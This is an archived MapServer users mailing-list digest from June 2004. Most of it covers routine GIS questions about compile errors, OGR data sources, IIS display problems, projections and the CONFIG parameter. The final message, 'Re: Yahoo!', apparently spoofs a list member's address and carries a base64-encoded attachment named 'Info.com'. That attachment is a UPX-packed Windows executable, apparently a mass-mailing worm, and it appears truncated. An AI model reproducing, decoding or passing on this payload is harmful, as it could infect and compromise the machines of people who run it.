ogr the path of the pg-config and > gdal-config > > I hope that could help you...any question e-mail me.. > > Thanks > > Gabriel > > -----Mensagem original----- > De: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]Em nome de Patrick J > Barabe > Enviada em: quinta-feira, 3 de junho de 2004 14:22 > Para: mapserver-users at lists.gis.umn.edu > Assunto: [Mapserver-users] compile error in 4.2 > > > > Hello list, > > I'm getting a compile error when trying to 'make' version 4.2. > Configure works fine with these options: > > ./configure --with-jpeg --with-gd --with-png --with-tiff --with-wms > --with-wmsclient --with-ogr --with-proj --with-wfs --with-wfsclient > --with-postgis --with-gdal --with-regex=system --with-php=/usr/local > --enable-perlv-ld-detect --with-httpd=/usr/local/apache2/bin/httpd > > make begins to work but then bison gets an I/O error: > > % make > gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR > -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR > -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include > -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include > maptemplate.c -o maptemplate.o > gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR > -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR > -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include > -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include > mapbits.c -o mapbits.o > gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR > -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR > -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include > -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include > maphash.c -o maphash.o > gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR > -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR > -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include > -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include > mapshape.c -o mapshape.o > gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR > -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR > -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include > -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include > mapxbase.c -o mapxbase.o > bison -y -p msyy -d -omapparser.c mapparser.y > bison: I/O error > make: *** [mapparser.c] Error 1 > > > I'm using GNU Make version 3.79.1 and GNU Bison 1.875 > > > Thanks in advance for any insight anyone can provide. > Patrick Barabe > The University of Arizona > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > *** /------------------------------------------------------/* ** / ##### patrick barabe / * * / @(0 0)@ pbarabe at u.arizona.edu / ** */------oOOo---[_]---oOOo--- www.u.arizona.edu/~pbarabe / *** From imd_listuser at comcast.net Thu Jun 3 14:14:58 2004 From: imd_listuser at comcast.net (IMD Listuser) Date: Thu, 3 Jun 2004 17:14:58 -0400 Subject: [Mapserver-users] Virtual Spatial Data from SQL Server Message-ID: <90264B8395BF154DB2CB12B068DFFAE90529CB@westward.im-design.net> Greetings all, I would like to plot point data that is stored in a single table in my sql server db. According to http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData, I have configured what I believe that I need: My mapserver is: My VesselServer.ovf file contains: ODBC:VSClient/VSClient at VesselTracking SELECT * FROM Log WHERE ID = 496600 wkbPoint WGS84 My Map file contains a layer as follows: LAYER NAME "Vessel" TYPE POINT CONNECTIONTYPE OGR CONNECTION "C:\Inetpub\wwwroot\VesselServer\VesselServer.ovf" DATA "VesselPosition" STATUS ON LABELITEM log.timestamp_local CLASS COLOR 255 255 0 OUTLINECOLOR 0 0 0 SYMBOL 'circle' SIZE 12 LABEL SIZE MEDIUM TYPE BITMAP COLOR 0 0 0 END END END Im able to confirm that the OGR driver works by using ogrinfo as follows: C:\Inetpub\wwwroot\VESSEL~1>ogrinfo VesselServer.ovf VesselPosition ERROR 4: Update access not supported for VRT datasources. Had to open data source read-only. INFO: Open of `VesselServer.ovf' using driver `VRT' successful. Layer name: VesselPosition Geometry: Point Feature Count: 1 ERROR 1: SetAttributeFilter() not supported on ExecuteSQL() results. Extent: (24.973143, 74.614543) - (24.973143, 74.614543) Layer SRS WKT: GEOGCS["WGS 84", DATUM["WGS_1984", SPHEROID["WGS 84",6378137,298.257223563, AUTHORITY["EPSG","7030"]], TOWGS84[0,0,0,0,0,0,0], AUTHORITY["EPSG","6326"]], PRIMEM["Greenwich",0, AUTHORITY["EPSG","8901"]], UNIT["degree",0.0174532925199433, AUTHORITY["EPSG","9108"]], AXIS["Lat",NORTH], AXIS["Long",EAST], AUTHORITY["EPSG","4326"]] id: Integer (10.0) timestamp_local: String (23.0) vessel_id: String (36.0) coordinate_utc: String (23.0) latitude_dd: Real (0.0) longitude_dd: Real (0.0) heading_degrees: Real (0.0) speed_knots: Real (0.0) ERROR 1: SetAttributeFilter() not supported on ExecuteSQL() results. OGRFeature(VesselPosition):0 id (Integer) = 496600 timestamp_local (String) = 2004-06-03 16:52:53.907 vessel_id (String) = 1DD0D82A-ADC1-4237-BF28-2DCC0CBC9D52 coordinate_utc (String) = 2004-06-03 20:52:53.907 latitude_dd (Real) = 74.61454299820765 longitude_dd (Real) = 24.97314251396685 heading_degrees (Real) = 3 speed_knots (Real) = 63 POINT (24.97314251 74.61454300 0.000) But, I am unable to see the results in a map :( Any suggestions, anyone? TIA Charlie From JWiley at city.parksville.bc.ca Thu Jun 3 14:19:42 2004 From: JWiley at city.parksville.bc.ca (John Wiley) Date: Thu, 03 Jun 2004 14:19:42 -0700 Subject: [Mapserver-users] localhost works but using IPaddress givesblackimages Message-ID: Thanks ED, Paul,Tyler,Zamil and Randy, Solved! ...now working from the Gisserver using IP address from any computer in our domain! It was a combination of Permissions, Html path in the Init.html file and a lot of coffee! Never give up! Everyone loves it! Thanks again, John Wiley City of Parksville >>> "Ed McNierney" 06/01/04 10:40am >>> John - If you are running the Itasca demo (more or less) and the client is retrieving pages that have BLACK images (rather than missing or blank ones), but the rest of the HTML page looks normal, then there's nothing wrong with the IP address. If the client could not access the server you would get no page at all. A BLACK image typically means that there is no cartographic data displayed in the extents requested, and you're seeing the black background created by an IMAGECOLOR 0 0 0 in the MAP file. If you're getting black images, then MapServer is working correctly and is hard at work generating and serving black pictures to you . So.... What map extents are the client requesting? Is the "initialization" of the demo the same on the client and on the server? What is the URL in the browser when the black image appears? Compare it to the (complete) URL on the server when the correct map appears. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of John Wiley Sent: Tuesday, June 01, 2004 1:15 PM To: TMitchell at lignum.com; mapserver-users-admin at lists.gis.umn.edu Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] localhost works but using IPaddress givesblackimages Hi Tyler, To describe our situation a little more... Basically its the Itasha demo that I re-invented to Parksville... as I have a basic understanding of HTML. Yes, we are only using IIS as the web server throughout and only using windows client web browsers (just me). Currently I am just using two computers to test on. After changing the (All Unassigned) to the IP address on the Gisserver in the Default Web Properties/Web Site dialog, the "Browser" address works with the IP address as well as "Localhost" on the Gisserver fine which displays the maps...however the "client" browser still displays black images when connecting to the Gisserver using the IP address. Going to download complied binary for png instead of gif as suggested by Randy ... also I'm BackCopying our IT professional John Rice who is now helping me on site. He was asking if there are any Frontpage extension issues as we are using version 2000 not 2003 and if there were any other IIs setting that may be javascript issues. Thanks, John Wiley >>> Tyler Mitchell 05/31/04 03:58pm >>> I think I understand - perhaps you can describe your setup a bit more so we know how you've got things running. Also, can you confirm that you are only using IIS as the web server throughout? And that you are using windows client web browsers. Tyler "John Wiley" wrote on 05/31/2004 03:58:11 PM: > Either computer will run using localhost in the address ie.http: > //localhost/parksville/pville_init.html within itself but not using an > ip specific such as ie. http://205.233.104.228/Parksville/Pville_init.html > . from a "client" to the "gisserver" > I hope i'm explaining this okay. > > John > > >>> Tyler Mitchell 05/31/04 03:38pm >>> > Just to confirm - does it run fine from any machine - i.e. locally on the > server? > > Tyler > > mapserver-users-admin at lists.gis.umn.edu wrote on 05/31/2004 02:50:55 PM: > > > I hope there is an easy solution here and I promise to help others > > in my steps!... > > Once I got the second computer working with Mapserver using > > "localhost" then changing to point to an IP address using a remote > > computer browser hitting the ip address of the "gisserver"... which > > does run the program and writes the GIF files to the tmp directory > > however I get the "black" images again!. The server is writing them > > okay...on the /temp directory... just not being displayed on the > > client's browser.... any suggestions? I checked permissions and II2 > > settings ... and still no luck. > > > > John Wiley, > > Gis Technician > > > > > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From pbarabe at U.Arizona.EDU Thu Jun 3 14:11:48 2004 From: pbarabe at U.Arizona.EDU (Patrick J Barabe) Date: Thu, 3 Jun 2004 14:11:48 -0700 (MST) Subject: [Mapserver-users] compile error in 4.2 In-Reply-To: References: Message-ID: Hello list, FYI - I reverted to my previous installation of bison (GNU Bison version 1.28) and successfully compiled. Thanks, patrick On Thu, 3 Jun 2004, Patrick J Barabe wrote: > > Hello list, > > I'm getting a compile error when trying to 'make' version 4.2. > Configure works fine with these options: > > ./configure --with-jpeg --with-gd --with-png --with-tiff --with-wms > --with-wmsclient --with-ogr --with-proj --with-wfs --with-wfsclient > --with-postgis --with-gdal --with-regex=system --with-php=/usr/local > --enable-perlv-ld-detect --with-httpd=/usr/local/apache2/bin/httpd > > make begins to work but then bison gets an I/O error: > > % make > gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR > -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR > -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include > -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include > maptemplate.c -o maptemplate.o > gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR > -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR > -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include > -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include > mapbits.c -o mapbits.o > gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR > -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR > -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include > -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include > maphash.c -o maphash.o > gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR > -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR > -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include > -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include > mapshape.c -o mapshape.o > gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WFS_LYR > -DUSE_TIFF -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR > -DUSE_GDAL -DUSE_POSTGIS -I/usr/local/include > -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include > mapxbase.c -o mapxbase.o > bison -y -p msyy -d -omapparser.c mapparser.y > bison: I/O error > make: *** [mapparser.c] Error 1 > > > I'm using GNU Make version 3.79.1 and GNU Bison 1.875 > > > Thanks in advance for any insight anyone can provide. > Patrick Barabe > The University of Arizona > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > *** /------------------------------------------------------/* ** / ##### patrick barabe / * * / @(0 0)@ pbarabe at u.arizona.edu / ** */------oOOo---[_]---oOOo--- www.u.arizona.edu/~pbarabe / *** From maggie.ma at pechan.com Thu Jun 3 15:05:16 2004 From: maggie.ma at pechan.com (Maggie Ma) Date: Thu, 3 Jun 2004 15:05:16 -0700 Subject: [Mapserver-users] Displaying Lat/Long points onto State Plane projected map Message-ID: <200406032205.i53M5J1S009024@mail.cwo.com> This is a multi-part message in MIME format. ------=_NextPart_000_00B4_01C4497C.2DACFAE0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello, I am trying to display some lat/long points, stored in a dbf file, onto an existing map which was projected to State Plane NAD83 FIPS 4601 in FT. Is there anyone who would give me some detailed instruction on how to do it? Or at least some idea? Thank you very much in advance! Maggie ------=_NextPart_000_00B4_01C4497C.2DACFAE0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hello,

 

I am trying to display some lat/long points, stored = in a dbf file, onto an existing

map which was projected to State Plane NAD83 FIPS = 4601 in FT. Is there anyone

who would give me some detailed instruction on how to = do it? Or at least some

idea? Thank you very much in = advance!

 

Maggie

------=_NextPart_000_00B4_01C4497C.2DACFAE0-- From dmorissette at dmsolutions.ca Thu Jun 3 15:03:04 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 03 Jun 2004 18:03:04 -0400 Subject: [Mapserver-users] EPSG codes In-Reply-To: <200406032151.i53Lp25r027930@tux.cubewerx.com> References: <200406032151.i53Lp25r027930@tux.cubewerx.com> Message-ID: <40BFA018.9070307@dmsolutions.ca> Craig Bruce wrote: > > Worse than that, the EPSG: namespace is still around but is redefined to > use variable coordinate orders. To process one, you need to know which > version of the definition to use, which isn't always easy to know. > True... I had forgotten about that one for a sec. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Thu Jun 3 15:04:49 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 03 Jun 2004 18:04:49 -0400 Subject: [Mapserver-users] where to get a copy of mapscript for win32 In-Reply-To: References: Message-ID: <40BFA081.8050107@dmsolutions.ca> Guillermo Bustamante wrote: > I m looking for a php_mapscript.dll cause doesnt seem to come with de > mapserver win32 distro if someone has it please send it!!!!!! > http://maptools.org/php_mapscript/index.phtml?page=downloads.html -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From warmerdam at pobox.com Thu Jun 3 15:10:45 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 03 Jun 2004 18:10:45 -0400 Subject: [Mapserver-users] What is CONFIG parameter for? In-Reply-To: <20040603193905.22640.qmail@hm47.locaweb.com.br> References: <20040603193905.22640.qmail@hm47.locaweb.com.br> Message-ID: <40BFA1E5.1030107@pobox.com> Eduardo Patto Kanegae wrote: > I've seen in Mapserver 4.2 docs the new CONFIG parameter that was added for MAP object... > > what is the main goal of it? to avoid re-compilation of MapServer for diferrents applications? > > I saw it handles GDAL and PROJ options... what more can be done? Eduardo, Well, it's fairly opened ended but for now it basically passes on config options to GDAL/OGR and the special item for the PROJ_LIB. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From siki at agt.bme.hu Thu Jun 3 18:27:27 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Fri, 4 Jun 2004 00:27:27 -0100 (GMT+1) Subject: [Mapserver-users] msGetLabelSize(): TrueType Font error. Requested font (Arial) not found {Scanned} {Scanned} In-Reply-To: <40BF88DF.6DC9BC74@gismo.com> Message-ID: Hi, Probably there is an alias in your font list (FONTSET parameter) using Arial.ttf and this file not found. Change Arial.ttf to an existing font on your system. You should include the path to the font file. Bye Zoltan On Thu, 3 Jun 2004, igor wrote: > When running mapserver I get the following error "msGetLabelSize(): > TrueType Font error. Requested font (Arial) not found". I did installed > freefonts and compiled gd with freefont support. > Thanks for any help in advance. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From zak-ms at hoppsan.org Thu Jun 3 15:40:17 2004 From: zak-ms at hoppsan.org (Zak James) Date: Thu, 3 Jun 2004 18:40:17 -0400 Subject: [Mapserver-users] Displaying Lat/Long points onto State Plane projected map In-Reply-To: <200406032205.i53M5J1S009024@mail.cwo.com> References: <200406032205.i53M5J1S009024@mail.cwo.com> Message-ID: The easiest thing might be to use PHP and PHP/Mapscript to open the dbf file using php's dbase support and then create a shapefile of points using mapscript commands. Then mapserver can load the shapefile data. zak -- Zak James Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca On Jun 3, 2004, at 6:05 PM, Maggie Ma wrote: > Hello, > > > > I am trying to display some lat/long points, stored in a dbf file, > onto an > existing > > map which was projected to State Plane NAD83 FIPS 4601 in FT. Is there > anyone > > who would give me some detailed instruction on how to do it? Or at > least > some > > idea? Thank you very much in advance! > > > > Maggie > From maggie.ma at pechan.com Thu Jun 3 15:45:40 2004 From: maggie.ma at pechan.com (Maggie Ma) Date: Thu, 3 Jun 2004 15:45:40 -0700 Subject: [Mapserver-users] Displaying Lat/Long points onto State Plane projected map In-Reply-To: Message-ID: <200406032245.i53Mjh1S015918@mail.cwo.com> Thanks for responding, Zak. I forgot to mention that I am not using Mapserver. I'm using ArcGIS. Any idea how I shall do it in ArcView? Thanks! Maggie -----Original Message----- From: Zak James [mailto:zjames at dmsolutions.ca] Sent: Thursday, June 03, 2004 3:38 PM To: Maggie Ma Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Displaying Lat/Long points onto State Plane projected map The easiest thing might be to use PHP and PHP/Mapscript to open the dbf file using php's dbase support and then create a shapefile of points using mapscript commands. Then mapserver can load the shapefile data. zak -- Zak James Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca On Jun 3, 2004, at 6:05 PM, Maggie Ma wrote: > Hello, > > > > I am trying to display some lat/long points, stored in a dbf file, > onto an > existing > > map which was projected to State Plane NAD83 FIPS 4601 in FT. Is there > anyone > > who would give me some detailed instruction on how to do it? Or at > least > some > > idea? Thank you very much in advance! > > > > Maggie > From TMitchell at lignum.com Thu Jun 3 15:45:49 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Thu, 3 Jun 2004 15:45:49 -0700 Subject: [Mapserver-users] What is CONFIG parameter for? In-Reply-To: <20040603193905.22640.qmail@hm47.locaweb.com.br> Message-ID: I've used it to setup GDAL_DATA to point to my gdal/data folder (for S57 format this is required). In essence, it appears to be useful for time when you need set environment variables (or just a couple specific ones?) that mapserv or dependents will be looking for. I haven't tried it for PROJ yet, but that too will (should ?) solve some path problems that have previously relied on setting global environment variables which may not be an option on non-sysadmin accounts. That's my observations anyway. Good stuff! Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 06/03/2004 04:39:05 PM: > I've seen in Mapserver 4.2 docs the new CONFIG parameter that was > added for MAP object... > > what is the main goal of it? to avoid re-compilation of MapServer > for diferrents applications? > > I saw it handles GDAL and PROJ options... what more can be done? > > thanks > > Eduardo Patto Kanegae > http://www.consultoria.eti.br > UIN: 303747254 > > I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar. > univali.br/encontro2004 > Projeto MapServer Brasil - http://mapserver.cttmar.univali.br > > ***Fim da Mensagem / End of Message *** > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From TMitchell at lignum.com Thu Jun 3 15:46:37 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Thu, 3 Jun 2004 15:46:37 -0700 Subject: [Mapserver-users] What is CONFIG parameter for? In-Reply-To: <40BFA1E5.1030107@pobox.com> Message-ID: > Well, it's fairly opened ended but for now it basically passes on config > options to GDAL/OGR and the special item for the PROJ_LIB. Can it handle any variable or only certain ones? From steve.lime at dnr.state.mn.us Thu Jun 3 17:24:16 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Thu, 03 Jun 2004 18:24:16 -0600 Subject: [Mapserver-users] Re: Yahoo! Message-ID: ----------fmooqmztkmweooqecsna Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------fmooqmztkmweooqecsna Content-Type: application/octet-stream; name="Info.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Info.com" 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 